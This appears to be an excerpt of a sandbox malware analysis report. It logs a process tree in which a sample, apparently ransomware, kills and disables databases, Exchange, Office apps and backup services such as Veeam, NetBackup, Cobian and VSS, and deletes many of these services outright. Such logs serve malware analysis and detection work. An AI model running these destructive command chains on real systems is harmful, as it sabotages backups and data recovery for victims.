C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "msftesql$SQLEXPRESS"5⤵PID:1640
-
-
-
C:\Windows\SysWOW64\net.exenet stop "postgresql-x64-9.4"4⤵PID:1480
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "postgresql-x64-9.4"5⤵PID:2800
-
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLFDLauncher" start= disabled4⤵PID:2460
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLSERVERAGENT" start= disabled4⤵PID:1888
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLBrowser" start= disabled4⤵PID:972
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLTELEMETRY" start= disabled4⤵PID:2848
-
-
C:\Windows\SysWOW64\sc.exesc config "MsDtsServer130" start= disabled4⤵PID:2792
-
-
C:\Windows\SysWOW64\sc.exesc config "SSISTELEMETRY130" start= disabled4⤵PID:2808
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$WOLTERSKLUWER" start= disabled4⤵PID:1928
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent$PROGID" start= disabled4⤵PID:1340
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskkill /F /IM U8WebPool.exe & taskkill /F /IM U8TaskService.exe & taskkill /F /IM UFIDA.U8.Report.SLReportService.exe & taskkill /F /IM U8SCMPool.exe & taskkill /F /IM U8DispatchService.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8WorkerService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.UAP.ReportService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1244
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8AllAuthServer.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2812
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8WebPool.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2120
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8TaskService.exe4⤵PID:2352
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFIDA.U8.Report.SLReportService.exe4⤵PID:2324
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8SCMPool.exe4⤵PID:2128
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM U8DispatchService.exe4⤵PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled & sc config "SQLAgent" start= disabled & sc config "MSSQLServerADHelper100" start= disabled & sc config "MSSQLServerOLAPService" start= disabled & sc config "MsDtsServer100" start= disabled & sc config "ReportServer" start= disabled & sc config "SQLTELEMETRY$HL" start= disabled & sc config "TMBMServer" start= disabled & sc config "MSSQL$PROGID" start= disabled"3⤵
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SysWOW64\sc.exesc config "SQLWriter" start= disabled4⤵PID:1108
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent$VEEAMSQL2012" start= disabled4⤵PID:604
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$VEEAMSQL2012" start= disabled4⤵PID:1740
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLAgent" start= disabled4⤵PID:1692
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL" start= disabled4⤵PID:1244
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"5⤵PID:2228
-
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLServerADHelper100" start= disabled4⤵PID:2092
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQLServerOLAPService" start= disabled4⤵PID:2292
-
-
C:\Windows\SysWOW64\sc.exesc config "MsDtsServer100" start= disabled4⤵PID:3012
-
-
C:\Windows\SysWOW64\sc.exesc config "ReportServer" start= disabled4⤵PID:2812
-
-
C:\Windows\SysWOW64\sc.exesc config "SQLTELEMETRY$HL" start= disabled4⤵PID:2952
-
-
C:\Windows\SysWOW64\sc.exesc config "TMBMServer" start= disabled4⤵PID:1588
-
-
C:\Windows\SysWOW64\sc.exesc config "MSSQL$PROGID" start= disabled4⤵PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""3⤵
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\SysWOW64\sc.exesc config MSSQLSERVER start=disabled4⤵PID:2016
-
-
C:\Windows\SysWOW64\sc.exesc config "SQL Server (MSSQLSERVER)" start=disabled4⤵PID:1604
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$4⤵PID:1588
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$5⤵PID:1560
-
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$ start=disabled4⤵PID:2172
-
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT4⤵PID:2356
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT5⤵PID:2528
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser4⤵PID:2952
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser5⤵PID:2968
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLSERVERAGENT start=disabled4⤵PID:2836
-
-
C:\Windows\SysWOW64\net.exenet stop vss4⤵PID:1712
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vss5⤵PID:2076
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLBrowser start=disabled4⤵PID:3000
-
-
C:\Windows\SysWOW64\sc.exesc config vss start=disabled4⤵PID:1540
-
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter4⤵PID:2940
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter5⤵PID:2076
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLWriter start=disabled4⤵PID:2120
-
-
C:\Windows\SysWOW64\net.exenet stop vmvss4⤵PID:2052
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vmvss5⤵PID:2844
-
-
-
C:\Windows\SysWOW64\sc.exesc config vmvss start=disabled4⤵PID:2640
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$FE_EXPRESS start= disabled4⤵PID:2332
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$RE_EXPRESS4⤵PID:784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$RE_EXPRESS5⤵PID:2836
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLANYs_Sage_FAS_Fixed_Assets4⤵PID:2120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets5⤵PID:2720
-
-
-
C:\Windows\SysWOW64\sc.exesc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled4⤵PID:2148
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VIM_SQLEXP4⤵PID:2848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP5⤵PID:2652
-
-
-
C:\Windows\SysWOW64\sc.exesc config MSSQL$VIM_SQLEXP start=disabled4⤵PID:2876
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher"4⤵PID:2316
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher"5⤵PID:1796
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLSERVER"4⤵PID:2180
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER"5⤵PID:980
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"3⤵PID:1920
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SHOPCONTROL9"4⤵PID:1560
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"5⤵PID:1208
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SHOPCONTROL9"4⤵PID:1512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"5⤵PID:2076
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SHOPCONTROL9"4⤵PID:2448
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"5⤵PID:2552
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SHOPCONTROL9"4⤵PID:2844
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SHOPCONTROL9"4⤵PID:1244
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Client Service"4⤵PID:2884
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Client Service"5⤵PID:2780
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Discovery Framework"4⤵PID:2720
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Discovery Framework"5⤵PID:1656
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Legacy Client Service"4⤵PID:3008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Legacy Client Service"5⤵PID:2852
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Legacy Network Service"4⤵PID:2816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Legacy Network Service"5⤵PID:2436
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup Proxy Service"4⤵PID:2952
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup Proxy Service"5⤵PID:2324
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetBackup SAN Client Fibre Transport Service"4⤵PID:2760
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"5⤵PID:1540
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld-nt.exe /F4⤵PID:2480
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NFVPrint.exe /F4⤵PID:1152
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM licenceserver.exe /F4⤵PID:1656
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Launchpad.exe /F4⤵PID:2252
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM "FileZilla Server.exe"4⤵PID:3064
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM cbService.exe4⤵PID:1504
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM cbInterface.exe4⤵PID:2996
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxwin32.exe4⤵PID:2104
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxwin64.exe4⤵PID:2428
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxcom.exe4⤵
- Kills process with taskkill
PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM pvxiosvr.exe4⤵PID:2232
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Sage.NA.AT_AU.SysTray.exe4⤵PID:1212
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Sage.NA.AT_AU.Service.exe4⤵PID:2796
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"3⤵PID:1748
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.BrokerService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.CatalogDataService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2868
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.CloudService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2388
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Manager.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.MountService.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.Service.exe4⤵PID:2016
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Backup.WmiServer.exe4⤵
- Kills process with taskkill
PID:2912
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Veeam.Guest.Interaction.Proxy.exe4⤵PID:2316
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamDeploymentSvc.exe4⤵
- Kills process with taskkill
PID:1784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamNFSSvc.exe4⤵PID:1628
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM VeeamTransportSvc.exe4⤵PID:2956
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlbrowser.exe4⤵PID:916
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlceip.exe4⤵PID:2200
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlservr.exe4⤵PID:1984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlwriter.exe4⤵PID:2848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM sqlagentc.exe4⤵PID:2704
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM ReportingServicesService.exe4⤵PID:2836
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Ssms.exe4⤵
- Kills process with taskkill
PID:2460
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM fdhost.exe4⤵PID:2980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM fdlauncher.exe4⤵PID:520
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MsDtsSrvr.exe4⤵PID:2272
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msmdsrv.exe4⤵PID:2228
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysql.exe4⤵PID:2252
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM mysqld.exe4⤵PID:2016
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM w3wp.exe4⤵PID:2204
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM wsusservice.exe4⤵
- Kills process with taskkill
PID:276
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM SageCSClient.exe4⤵PID:428
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe4⤵PID:2808
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Launchpad.exe4⤵PID:2964
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM dbsrv12.exe4⤵PID:2976
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EXCEL.EXE4⤵PID:3000
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM OUTLOOK.EXE4⤵PID:1984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM WINWORD.EXE4⤵PID:2008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM OneDrive.exe4⤵
- Kills process with taskkill
PID:2704
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM TaskService.exe4⤵PID:968
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"3⤵PID:876
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Tomcat7w.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:668
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Launchpad.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mpdwsvc.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbVSCService11.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cbService.exe /F4⤵PID:796
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup114⤵PID:2304
-
-
C:\Windows\SysWOW64\sc.exesc delete cbVSCService114⤵PID:752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld-nt.exe /F4⤵PID:2164
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F4⤵PID:1512
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlceip.exe /F4⤵PID:2924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F4⤵PID:1784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM store.exe4⤵PID:2008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailboxReplication.exe4⤵PID:2844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe4⤵PID:2308
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeThrottling.exe4⤵
- Kills process with taskkill
PID:1912
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdgeTransport.exe4⤵PID:2388
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeTransportLogSearch.exe4⤵PID:2168
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe4⤵PID:1984
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe4⤵PID:2132
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM DataCollectorSvc.exe4⤵PID:2140
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ServiceHost.exe4⤵PID:2352
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe4⤵PID:2432
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailboxAssistants.exe4⤵PID:1900
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msexchangerepl.exe4⤵PID:2980
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe4⤵PID:3052
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe4⤵PID:1692
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MsExchangeFDS.exe4⤵PID:3036
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeMailSubmission.exe4⤵PID:2180
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM MSExchangeTransport.exe4⤵PID:752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe4⤵PID:2248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""3⤵PID:1092
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"4⤵PID:1028
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT4⤵PID:2184
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter4⤵PID:2820
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser4⤵PID:2052
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵PID:2324
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER4⤵PID:2428
-
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService4⤵PID:2728
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService4⤵PID:2480
-
-
C:\Windows\SysWOW64\sc.exesc delete VMTools4⤵PID:2808
-
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService4⤵PID:2868
-
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC4⤵PID:2160
-
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer4⤵PID:2956
-
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer4⤵PID:2104
-
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ4⤵PID:2220
-
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"4⤵PID:2652
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"4⤵PID:2984
-
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService4⤵PID:1796
-
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService4⤵PID:2568
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13004⤵PID:2444
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20084⤵PID:2964
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20084⤵PID:2544
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13004⤵PID:2568
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13004⤵PID:1724
-
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer4⤵PID:2940
-
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service4⤵PID:2608
-
-
C:\Windows\SysWOW64\sc.exesc delete LMS4⤵PID:2804
-
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"4⤵PID:2320
-
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵PID:2848
-
-
-
